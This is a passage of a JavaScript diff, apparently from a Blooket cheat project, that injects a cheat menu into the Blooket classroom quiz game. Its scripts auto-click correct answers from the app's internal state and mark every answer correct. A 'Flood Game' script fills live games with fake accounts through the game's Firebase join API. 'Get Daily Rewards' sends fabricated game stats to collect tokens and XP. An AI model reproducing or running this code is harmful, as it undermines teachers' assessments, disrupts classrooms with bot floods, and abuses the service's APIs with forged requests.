child.style.display; + child.style.display = "none"; + } + }; + gui.style.height = hidden ? "100%" : "55px"; + gui.style.width = hidden ? "100%" : "165px"; + guiWrapper.style.top = `${parseInt(guiWrapper.style.top) + (guiWrapper.offsetHeight - 55) * (hidden ? -1 : 1)}px`; + guiWrapper.style.left = `${parseInt(guiWrapper.style.left) + (guiWrapper.offsetWidth - 165) * (hidden ? -1 : 1)}px`; + guiWrapper.style.pointerEvents = hidden ? "unset" : "none"; + hidden = !hidden; + }; + })() + }), + createElement("button", { + style: { + height: "55px", + width: "55px", + fontFamily: "Nunito", + color: "white", + backgroundColor: "red", + border: "none", + fontSize: "2rem", + fontWeight: "bolder", + cursor: "pointer" + }, + innerHTML: "X", + onclick: close + }))), + (cheatContainer = createElement("div", { + className: "cheatList", + style: { + overflowY: "scroll", + background: "var(--cheatList)", + boxShadow: "inset -10px 0 rgb(0 0 0 / 20%)", + zIndex: "5", + width: "220px", + position: "absolute", + top: "0", + left: "0", + height: "100%", + fontFamily: "Titan One", + color: "var(--textColor)", + fontSize: "40px", + textAlign: "center", + paddingTop: "20px", + userSelect: "none", + padding: "20px 10px 20px 0", + boxSizing: "border-box", + display: "flex", + flexDirection: "column" + }, + innerHTML: "Cheats" + }, + createElement("a", { + className: "bigButton", + style: { + cursor: "pointer", + display: "block", + fontFamily: "Titan One", + margin: "20px auto 10px", + position: "relative", + transition: ".25s", + textDecoration: "none", + userSelect: "none", + visibility: "visible" + }, + target: "_blank", + href: "https://github.com/05Konz/Blooket-Cheats", + innerHTML: `
+
+
+
+ + + + GitHub +
+
` + }))), createElement("div", { + className: "contentWrapper", + style: { + position: "absolute", + left: "220px", + top: "70px", + overflowY: "scroll", + width: "calc(100% - 220px)", + height: "calc(100% - 70px)", + borderRadius: "7px" + } + }, + (content = createElement("div", { + id: "content", + style: { + position: "absolute", + inset: "27px 50px 50px 50px" + } + }, + (tooltip = createElement("div", { + className: "tooltip", + style: { + position: "absolute", + top: "0", + left: "0", + backgroundColor: "black", + height: "fit-content", + maxWidth: "300px", + zIndex: "5", + borderRadius: "7.5px", + color: "white", + display: "flex", + justifyContent: "center", + alignItems: "center", + padding: "5px", + paddingInline: "15px", + pointerEvents: "none", + opacity: "0", + textAlign: "center" + }, + innerText: "description" + })), + (cheats = createElement("div", { + style: { + alignItems: "center", + boxSizing: "border-box", + display: "flex", + flexDirection: "row", + flexWrap: "wrap", + justifyContent: "space-evenly", + padding: "20px 5px 20px", + position: "relative", + width: "100%", + fontFamily: "Nunito, sans-serif", + fontWeight: "400", + color: "var(--textColor)", + background: "var(--contentBackground)", + boxShadow: "inset 0 -6px rgb(0 0 0 / 20%)", + borderRadius: "7px" + } + }, + (headerText = createElement("div", { + className: "headerText", + style: { + boxSizing: "border-box", + display: "block", + height: "45px", + left: "-10px", + padding: "4px 4px 8px", + position: "absolute", + top: "-28px", + backgroundColor: "#ef7426", + boxShadow: "0 4px rgb(0 0 0 / 20%), inset 0 -4px rgb(0 0 0 / 20%)", + borderRadius: "7px" + } + }, + createElement("div", { + style: { + alignItems: "center", + boxSizing: "border-box", + display: "flex", + height: "100%", + justifyContent: "center", + padding: "0 15px", + width: "100%", + fontFamily: "Titan One, sans-serif", + fontSize: "26px", + fontWeight: "400", + textShadow: "-1px -1px 0 #646464, 1px -1px 0 #646464, -1px 1px 0 #646464, 2px 2px 0 #646464", + color: "white", + background: "linear-gradient(#fcd843,#fcd843 50%,#feb31a 50.01%,#feb31a)", + borderRadius: "5px" + } + }) + )) + )) + )) + ) + )) + ); + for (const oldGui of document.querySelectorAll("#" + guiId)) oldGui.remove(); + + document.body.appendChild(guiWrapper); + + + function addMode(mode, img, cheats, nameOnly) { + const button = createElement("div", { + className: "cheatButton", + innerHTML: (typeof img == "string" ? `` : img ? img : "") + mode, + onclick: () => setCheats(button.innerText, cheats, nameOnly) + }); + cheatContainer.appendChild(button); + return button.onclick; + } + async function setCheats(mode, scripts, nameOnly) { + cheats.innerHTML = ""; + headerText.firstChild.innerText = `${mode}${nameOnly ? "" : " Cheats"}`; + cheats.append(headerText); + + for (let i = 0; i < scripts.length; i++) { + let { name, description, type, inputs, enabled, run, element } = scripts[i]; + if (!element) { + const button = createElement("div", { + className: "scriptButton", + style: { background: type == "toggle" ? enabled ? "var(--enabledButton)" : "var(--disabledButton)" : "var(--defaultButton)" } + }, createElement("div", { + className: "cheatName", + innerHTML: name + })); + button.dataset.description = description; + button.onclick = (function ({ target, key }) { + if (target != button && !target.classList.contains("cheatName") && !(key == "Enter" && target.classList.contains("cheatInput"))) return; + let args = [...button.children].slice(1); + run.apply(this, args.map(c => c.type == "number" ? parseInt("0" + c.value) : c.nodeName == "SELECT" ? JSON.parse(c.value) : (c.data || c.value))); + if (type == "toggle") button.style.background = this.enabled ? "var(--enabledButton)" : "var(--disabledButton)"; + Cheats.alerts?.[0].addLog(`${type == "toggle" ? (this.enabled ? "Enabled" : "Disabled") : "Ran"} ${this.name}${inputs?.length ? ` with inputs: (${args.map(c => c.nodeName == "SELECT" ? c.selectedOptions[0].innerText : c.value).join(", ")})` : ""}`, type == "toggle" ? (this.enabled ? "var(--enabledButton)" : "var(--disabledButton)") : null); + }).bind(scripts[i]); + if (inputs?.length) for (let i = 0; i < inputs.length; i++) { + const { name, type, options: opts, min, max, value } = inputs[i]; + let options; + try { options = await (typeof opts == "function" ? opts?.() : opts) } catch { options = [] }; + if (type == "options" && options?.length) { + const select = document.createElement("select"); + options.forEach(opt => { + const option = document.createElement("option"); + option.value = JSON.stringify(opt?.value || opt); + option.innerHTML = opt?.name || opt; + select.appendChild(option); + }); + button.appendChild(select); + } else if (type == "function") { + const input = document.createElement("input"); + input.classList.add("cheatInput"); + input.placeholder = name; + input.style.textAlign = "center"; + input.readOnly = true; + let locked = false; + input.onclick = async () => { + if (locked) return; + input.value = "Waiting for input..."; + locked = true; + input.data = await inputs[i].function((e) => input.value = e + "..."); + locked = false; + input.value = input.value.slice(0, -3); + } + button.appendChild(input); + } else { + const input = document.createElement("input"); + input.classList.add("cheatInput"); + if (type == "number") { + input.type = "number"; + input.min = min; + input.max = max; + input.value = value || (min != null ? min : 0); + }; + input.placeholder = name; + input.style.textAlign = "center"; + input.onkeyup = button.onclick; + button.appendChild(input); + } + }; + scripts[i].element = button; + } + cheats.appendChild(scripts[i].element); + }; + /* scripts + { + name: "", + description: "", + type: (null | "toggle"), + inputs: type == null && [{ + name: "", + type: ("number" | "string" | "options"), + options: type == "options" && [ + { + name: "", + value: undefined + }; + ] + }], + enabled: type == "toggle" && Boolean, + run: function () {}; + }; + */ + } + const Cheats = { + global: [ + { + name: "Auto Answer (Toggle)", + description: "Toggles auto answer on", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + const { stateNode: { state: { question, stage, feedback }, props: { client: { question: pquestion } } } } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + const q = (question || pquestion); + try { + if (q.qType != "typing") if (stage !== "feedback" && !feedback) [...document.querySelectorAll(`[class*="answerContainer"]`)][q.answers.map((x, i) => q.correctAnswers.includes(x) ? i : null).filter(x => x != null)[0]]?.click?.(); + else document.querySelector('[class*="feedback"]')?.firstChild?.click?.(); + else Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(q.answers[0]) + } catch { } + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Highlight Answers (Toggle)", + description: "Toggles highlight answers on", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + const { stateNode: { state, props } } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + [...document.querySelectorAll(`[class*="answerContainer"]`)].forEach((answer, i) => { + if ((state.question || props.client.question).correctAnswers.includes((state.question || props.client.question).answers[i])) answer.style.backgroundColor = "rgb(0, 207, 119)"; + else answer.style.backgroundColor = "rgb(189, 15, 38)"; + }); + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Auto Answer", + description: "Click the correct answer for you", + run: function () { + const { stateNode: { state: { question, stage, feedback }, props: { client: { question: pquestion } } } } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + try { + if (question.qType != "typing") if (stage !== "feedback" && !feedback) [...document.querySelectorAll(`[class*="answerContainer"]`)][(question || pquestion).answers.map((x, i) => (question || pquestion).correctAnswers.includes(x) ? i : null).filter(x => x != null)[0]]?.click?.(); + else document.querySelector('[class*="feedback"]')?.firstChild?.click?.(); + else Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(question.answers[0]) + } catch { } + } + }, + { + name: "Spam Buy Blooks", + description: "Opens a box an amount of times", + inputs: [ + { + name: "Box", + type: "options", + options: () => { + return new Promise(r => { + r(Object.keys(Object.values(webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]).webpack.c).find(x => !isNaN(x?.exports?.a?.Space)).exports.a || {})); + }); + } + }, + { + name: "Amount", + type: "number" + } + ], + run: function (box, amountToOpen) { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + window.prompt = i.contentWindow.prompt.bind(window); + window.confirm = i.contentWindow.confirm.bind(window); + i.remove(); + let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]), + axios = Object.values(webpack.c).find((x) => x.exports?.a?.get).exports.a, + { purchaseBlookBox } = Object.values(webpack.c).find(x => x.exports.a?.purchaseBlookBox).exports.a; + box = box.split(' ').map(x => x.charAt(0).toUpperCase() + x.slice(1).toLowerCase()).join(' '); + + axios.get("https://dashboard.blooket.com/api/users").then(async ({ data: { name, tokens } }) => { + let prices = Object.values(webpack.c).find(x => !isNaN(x?.exports?.a?.Space)).exports.a || { Medieval: 20, Breakfast: 20, Wonderland: 20, Blizzard: 25, Space: 20, Bot: 20, Aquatic: 20, Safari: 20, Dino: 25, "Ice Monster": 25, Outback: 25 } + let amount = Math.min(Math.floor(tokens / prices[box]), amountToOpen); + if (amount == 0) { + if (amountToOpen > 0) alert("You do not have enough tokens!"); + return; + }; + + let alertBlooks = confirm("Would you like to alert blooks upon unlocking?"); + let blooks = {}; + let now = Date.now(); + let error = false; + + for (let i = 0; i < amount; i++) { + await purchaseBlookBox({ boxName: box }).then(({ isNewToUser, tokens, unlockedBlook }) => { + blooks[unlockedBlook] ||= 0; + blooks[unlockedBlook]++; + + let before = Date.now(); + + if (alertBlooks) alert(`${unlockedBlook} (${i + 1}/${amount}) ${isNewToUser ? "NEW! " : ''}${tokens} tokens left`); + + now += Date.now() - before; + }).catch(e => error = true); + if (error) break; + }; + alert(`(${Date.now() - now}ms) Results:\n${Object.entries(blooks).map(([blook, amount]) => ` ${blook} ${amount}`).join(`\n`)}`); + }).catch(() => alert('There was an error user data!')); + } + }, + { + name: "Flood Game", + description: "Floods a game with a number of fake accounts", + inputs: [ + { + name: "Game ID", + type: "string" + }, + { + name: "Name", + type: "string" + }, + { + name: "Amount", + type: "number" + }, + { + name: "Blook", + type: "options", + options: async () => { + let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]); + return ["Random"].concat(Object.keys(Object.values(webpack.c).find(x => x.exports.a?.Chick && x.exports.a?.Elephant).exports.a)); + } + }, + { + name: "Banner", + type: "options", + options: Object.entries({ Starter: "starter", Chalkboard: "chalkboard", Slime: "slime", Bookshelf: "bookshelf", "Toaster Pastry": "toasterPastry", Theater: "theater", Sushi: "sushi", Workbench: "workbench", Spooky: "spooky", Spiders: "spiders", Coffin: "coffin", Pumpkins: "pumpkins", "Falling Blocks": "fallingBlocks", Racetrack: "racetrack", Harvest: "harvest", Leaves: "leaves", "Fall Picnic": "fallPicnic", "Winter Drive": "winterDrive", "Winter Train": "winterTrain", Ice: "ice", Gifts: "gifts", "Christmas Tree": "christmasTree", "Soccer Field": "soccerField", "Winter Landscape": "winterLandscape", "Football Field": "footballField", "Outer Space": "outerSpace", "Hockey Rink": "hockeyRink", "Music Class": "musicClass", "Ice Cream Sandwich": "iceCreamSandwich", "Science Class": "scienceClass", "Fish Tank": "fishTank", "Art Class": "artClass", Clockwork: "clockwork", "Love Letter": "loveLetter", Farm: "farm", Chocolate: "chocolate", "Tech Chip": "techChip", Fire: "fire", "Orange Ice Pop": "orangeIcePop" }).map(([name, value]) => ({ name, value })) + } + ], + run: async function (id, name, amount, b, bg) { + let cache = Object.values(webpackJsonp.push([[], { ['']: (_, a, b) => { a.cache = b.c }, }, [['']]]).cache); + const axios = cache.find((x) => x.exports?.a?.get).exports.a; + const firebase = cache.find(x => x.exports?.a?.initializeApp).exports.a; + const blooks = Object.keys(Object.values(cache).find(x => x.exports.a?.Black).exports.a); + + for (let i = 1; i <= amount; i++) { + (async () => { + let ign = `${name}${String.fromCharCode(96 + i)}`; + const { data: { success, fbToken, fbShardURL } } = await axios.put("https://fb.blooket.com/c/firebase/join", { id, name: ign }); + if (!success) return; + const liveApp = firebase.initializeApp({ + apiKey: "AIzaSyCA-cTOnX19f6LFnDVVsHXya3k6ByP_MnU", + authDomain: "blooket-2020.firebaseapp.com", + projectId: "blooket-2020", + storageBucket: "blooket-2020.appspot.com", + messagingSenderId: "741533559105", + appId: "1:741533559105:web:b8cbb10e6123f2913519c0", + measurementId: "G-S3H5NGN10Z", + databaseURL: fbShardURL + }, ign); + const auth = firebase.auth(liveApp); + await auth.setPersistence(firebase.auth.Auth.Persistence.NONE).catch(console.error); + await auth.signInWithCustomToken(fbToken).catch(console.error); + await liveApp.database().ref(`${id}/c/${ign}`).set({ b: b == "Random" ? blooks[Math.floor(Math.random() * blooks.length)] : b, bg }); + liveApp.delete(); + })(); + await new Promise(r => setTimeout(r, 100)); + } + } + }, + { + name: "Change Blook Ingame", + description: "Changes your blook", + inputs: [ + { + name: "Blook", + type: "options", + options: async () => { + let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]); + return Object.keys(Object.values(webpack.c).find(x => x.exports.a?.Chick && x.exports.a?.Elephant).exports.a); + } + } + ], + run: function (blook) { + let { props } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode; + props.client.blook = blook; + props.liveGameController.setVal({ path: `c/${props.client.name}/b`, val: blook }); + } + }, + { + name: "Get Daily Rewards", + description: "Gets max daily tokens and xp", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + if (!location.href.includes("play.blooket.com")) (alert("This cheat only works on play.blooket.com, opening a new tab."), window.open("https://play.blooket.com/")); + else { + const cache = Object.values(webpackJsonp.push([[], { ['']: (_, a, b) => { a.cache = b.c }, }, [['']],]).cache), + axios = cache.find((x) => x.exports?.a?.get).exports.a; + axios.post("https://play.blooket.com/api/playersessions/solo", { + gameMode: "Factory", + questionSetId: ["60101da869e8c70013913b59", "625db660c6842334835cb4c6", "60268f8861bd520016eae038", "611e6c804abdf900668699e3", "60ba5ff6077eb600221b7145", "642467af9b704783215c1f1b", "605bd360e35779001bf57c5e", "6234cc7add097ff1c9cff3bd", "600b1491d42a140004d5215a", "5db75fa3f1fa190017b61c0c", "5fac96fe2ca0da00042b018f", "600b14d8d42a140004d52165", "5f88953cdb209e00046522c7", "600b153ad42a140004d52172", "5fe260e72a505b00040e2a11", "5fe3d085a529560004cd3076", "5f5fc017aee59500041a1456", "608b0a5863c4f2001eed43f4", "5fad491512c8620004918ace", "5fc91a9b4ea2e200046bd49a", "5c5d06a7deebc70017245da7", "5ff767051b68750004a6fd21", "5fdcacc85d465a0004b021b9", "5fb7eea20bd44300045ba495"][Math.floor(Math.random() * 24)] + }).then(async ({ data: { t } }) => { + await axios.post("https://play.blooket.com/api/playersessions/landings", { t }); + const { name, blook: { name: blookUsed } } = await cache.find(x => x.exports.a?.me).exports.a.me({}).catch(() => alert('There was an error getting user data.')); + await axios.put("https://play.blooket.com/api/users/factorystats", { + blookUsed, t, name, + cash: Math.floor(Math.random() * 90000000) + 10000000, + correctAnswers: Math.floor(Math.random() * 500) + 500, + upgrades: Math.floor(Math.random() * 300) + 300, + mode: "Time-Solo", + nameUsed: "You", + place: 1, + playersDefeated: 0, + }).then(console.log); + axios.put("https://play.blooket.com/api/users/add-rewards", { t, name, addedTokens: 500, addedXp: 300 }) + .then(({ data: { dailyReward } }) => alert(`Added max tokens and xp, and got ${dailyReward} daily wheel tokens!`)) + .catch(() => alert('There was an error when adding rewards.')); + }); + } + } + }, + { + name: "Use Any Blook", + description: "Allows you to play as any blook", + run: function () { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + const blooks = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b } }, [['1234']]]).webpack("MDrD").a; + if (location.pathname == "/blooks") stateNode.setState({ blookData: Object.keys(blooks).reduce((a, b) => (a[b] = (stateNode.state.blookData[b] || 1), a), {}), allSets: Object.values(blooks).reduce((a, b) => (a.includes(b.set) ? a : a.concat(b.set)), []) }); + else if (Array.isArray(stateNode.state.unlocks)) stateNode.setState({ unlocks: Object.keys(blooks) }); + else stateNode.setState({ unlocks: blooks }); + } + }, + { + name: "Every Answer Correct", + description: "Sets every answer to be correct", + run: function () { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.freeQuestions = stateNode.questions = stateNode.props.client.questions.map(x => ({ ...x, correctAnswers: x.answers })); + } + }, + { + name: "Highlight Answers", + description: "Colors answers to be red or green highlighting the correct ones", + run: function () { + const { stateNode: { state, props } } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + [...document.querySelectorAll(`[class*="answerContainer"]`)].forEach((answer, i) => { + if ((state.question || props.client.question).correctAnswers.includes((state.question || props.client.question).answers[i])) answer.style.backgroundColor = "rgb(0, 207, 119)"; + else answer.style.backgroundColor = "rgb(189, 15, 38)"; + }); + } + }, + { + name: "Remove Name Limit", + description: "Sets the name limit to 120, which is the actual max name length limit", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + document.querySelector('input[class*="nameInput"]').maxLength = 120; /* 120 is the actual limit */ + alert("Removed name length limit"); + } + }, + { + name: "Remove Random Name", + description: "Allows you to put a custom name", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ isRandom: false, client: { name: "" } }); + document.querySelector('[class*="nameInput"]')?.focus?.(); + } + }, + { + name: "Sell Cheap Duplicates", + description: "Sells all of your uncommon to epic dupes (not legendaries+)", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + window.confirm = i.contentWindow.confirm.bind(window); + i.remove(); + let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]), + axios = Object.values(webpack.c).find((x) => x.exports?.a?.get).exports.a, + { sellBlook } = Object.values(webpack.c).find(x => x.exports.a?.sellBlook).exports.a; + axios.get("https://dashboard.blooket.com/api/users").then(async ({ data: { unlocks } }) => { + let blooks = Object.entries(unlocks).filter(([blook, amount]) => amount > 1 && !["Legendary", "Chroma", "Mystical"].includes(webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b } }, [['1234']]]).webpack("MDrD").a[blook].rarity)); + if (confirm(`Are you sure you want to sell your uncommon to epic dupes?`)) { + let now = Date.now(); + for (const [blook, amount] of blooks) await sellBlook({ blook, numToSell: amount - 1 }); + alert(`(${Date.now() - now}ms) Results:\n${blooks.map(([blook, amount]) => ` ${blook} ${amount - 1}`).join(`\n`)}`); + } + }).catch(() => alert('There was an error user data!')); + } + }, + { + name: "Sell Duplicate Blooks", + description: "Sell all duplicate blooks leaving you with 1 each", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + window.confirm = i.contentWindow.confirm.bind(window); + i.remove(); + let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]), + axios = Object.values(webpack.c).find((x) => x.exports?.a?.get).exports.a, + { sellBlook } = Object.values(webpack.c).find(x => x.exports.a?.sellBlook).exports.a; + axios.get("https://dashboard.blooket.com/api/users").then(async ({ data: { unlocks } }) => { + let blooks = Object.entries(unlocks).filter(x => x[1] > 1); + if (confirm(`Are you sure you want to sell your dupes?`)) { + let now = Date.now(); + for (const [blook, amount] of blooks) await sellBlook({ blook, numToSell: amount - 1 }); + alert(`(${Date.now() - now}ms) Results:\n${blooks.map(([blook, amount]) => ` ${blook} ${amount - 1}`).join(`\n`)}`); + } + }).catch((e) => (alert('There was an error user data!'), console.info(e))); + } + }, + { + name: "Simulate Pack", + description: "Simulate opening a pack", + inputs: [{ + name: "Pack", + type: "options", + options: async () => { + return Array.from(document.querySelectorAll('[class*="packShadow"]')).map(x => x.alt); + } + }], + run: (function () { + try { + let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]); + let values = Object.values(webpack.c), + blooks = values.find(x => x.exports?.a?.Chick?.set).exports.a, + packs = values.find(x => x.exports.a?.Breakfast).exports.a, + allBlooks = Object.entries(blooks).reduce((a, [b, c]) => (packs[c.realSet || c.set] && (a[b] = c), a), {}); + let phaser = Object.values(webpack.c).find(x => x.exports?.Class).exports; + let scene = {}; + class Particles extends phaser.Scene { + constructor(rarity) { + super(); + this.rarity = rarity.toLowerCase(); + } + preload() { + switch (this.rarity) { + case "uncommon": + this.load.svg("uncommon-1", "https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_green.svg", { width: 25, height: 25 }); + this.load.svg("uncommon-2", "https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_light_green.svg", { width: 25, height: 25 }); + this.load.svg("uncommon-3", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/circle_dark_green.svg", { width: 25, height: 25 }); + this.load.svg("uncommon-4", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_dark_green.svg", { width: 30, height: 30 }); + this.load.svg("uncommon-5", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_light_green.svg", { width: 30, height: 30 }); + this.load.svg("uncommon-6", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_light_green.svg", { width: 30, height: 30 }); + this.load.svg("uncommon-7", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_green.svg", { width: 30, height: 30 }); + break; + case "rare": + this.load.svg("rare-1", "https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_light_blue.svg", { width: 25, height: 25 }); + this.load.svg("rare-2", "https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_dark_blue.svg", { width: 25, height: 25 }); + this.load.svg("rare-3", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-4", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-5", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_light_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-6", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_light_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-7", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/circle_dark_blue.svg", { width: 25, height: 25 }); + break; + case "epic": + this.load.svg("epic-1", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/red.svg", { width: 25, height: 25 }); + this.load.svg("epic-2", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/light_red.svg", { width: 25, height: 25 }); + this.load.svg("epic-3", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-4", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_dark_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-5", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-6", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_light_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-7", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/circle_dark_red.svg", { width: 25, height: 25 }); + break; + case "legendary": + this.load.svg("legendary-1", "https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-2", "https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_light_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-3", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-4", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_orange.svg", { width: 30, height: 30 }); + this.load.svg("legendary-5", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_light_orange.svg", { width: 30, height: 30 }); + this.load.svg("legendary-6", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_dark_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-7", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/triangle_dark_orange.svg", { width: 30, height: 30 }); + break; + case "chroma": + this.load.svg("chroma-1", "https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_turquoise.svg", { width: 25, height: 25 }); + this.load.svg("chroma-2", "https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_light_turquoise.svg", { width: 25, height: 25 }); + this.load.svg("chroma-3", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_dark_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-4", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-5", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-6", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_light_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-7", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/circle_dark_turquoise.svg", { width: 25, height: 25 }); + } + } + create() { + scene.scene = this; + scene.rarity = ""; + scene.particles = this.physics.add.group({ + classType: new phaser.Class({ + Extends: phaser.GameObjects.Image, + initialize: function () { + phaser.GameObjects.Image.call(this, scene.scene, 0, 0, "uncommon-1"); + this.setDepth(3); + this.lifespan = 0; + }, + spawn: function (x, y, scale, velAngle, velSpeed, gravity, angle, lifespan, texture) { + this.setTexture(texture); + this.setActive(true); + this.setVisible(true); + this.setPosition(x, y); + this.setScale(scale); + this.targets = []; + scene.scene.physics.velocityFromAngle(velAngle, velSpeed, this.body.velocity); + this.body.setGravityY(gravity); + this.body.setAngularVelocity(angle); + this.lifespan = lifespan; + }, + update: function (t, s) { + this.lifespan -= s; + if (this.lifespan > 0) return; + this.setActive(!1); + this.setVisible(!1); + } + }), + runChildUpdate: !0 + }); + this.nextParticle = 0; + this.numExplosions = 0; + this.game.events.on("start-particles", (t) => { + scene.rarity = t; + this.numExplosions = "Uncommon" === t ? 75 : "Rare" === t ? 100 : -1; + }); + } + update(e, t) { + const I = webpack("74sb"); + let Z = function (e) { + switch (e) { + case "center": { + var t = Object(I.l)(-115, -65); + return { + x: scene.scene.cameras.main.worldView.width / 2, + y: scene.scene.cameras.main.worldView.height / 2, + scale: Object(I.l)(.7, 1), + angle: t, + velocity: Object(I.l)(600, 750), + gravity: 700, + angVelocity: (t > -90 ? 1 : -1) * Object(I.l)(125, 175), + lifespan: 2500 + } + } + case "right-bottom": return { + x: scene.scene.cameras.main.worldView.width, + y: scene.scene.cameras.main.worldView.height, + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-160, -110), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(-175, -125), + lifespan: 2500 + }; + case "left-bottom": return { + x: 0, + y: scene.scene.cameras.main.worldView.height, + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-70, -20), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(125, 175), + lifespan: 2500 + }; + case "top": return { + x: Object(I.l)(0, scene.scene.cameras.main.worldView.width), + y: -50, + scale: Object(I.l)(.7, 1), + angle: 90, + velocity: Object(I.l)(0, 50), + gravity: 700, + angVelocity: Object(I.l)(-150, 150), + lifespan: 2500 + }; + case "right-shower": return { + x: scene.scene.cameras.main.worldView.width, + y: Object(I.l)(0, scene.scene.cameras.main.worldView.height), + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-180, -130), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(-175, -125), + lifespan: 2500 + }; + case "left-shower": return { + x: 0, + y: Object(I.l)(0, scene.scene.cameras.main.worldView.height), + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-50, 0), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(125, 175), + lifespan: 2500 + }; + case "right-diamond": { + var a = Object(I.l)(0, scene.scene.cameras.main.worldView.height); + return { + x: scene.scene.cameras.main.worldView.width, + y: a, + scale: Object(I.l)(.7, 1), + angle: a > scene.scene.cameras.main.worldView.height / 2 ? -150 : -210, + velocity: Object(I.l)(600, 750), + gravity: 0, + angVelocity: Object(I.l)(-175, -125), + 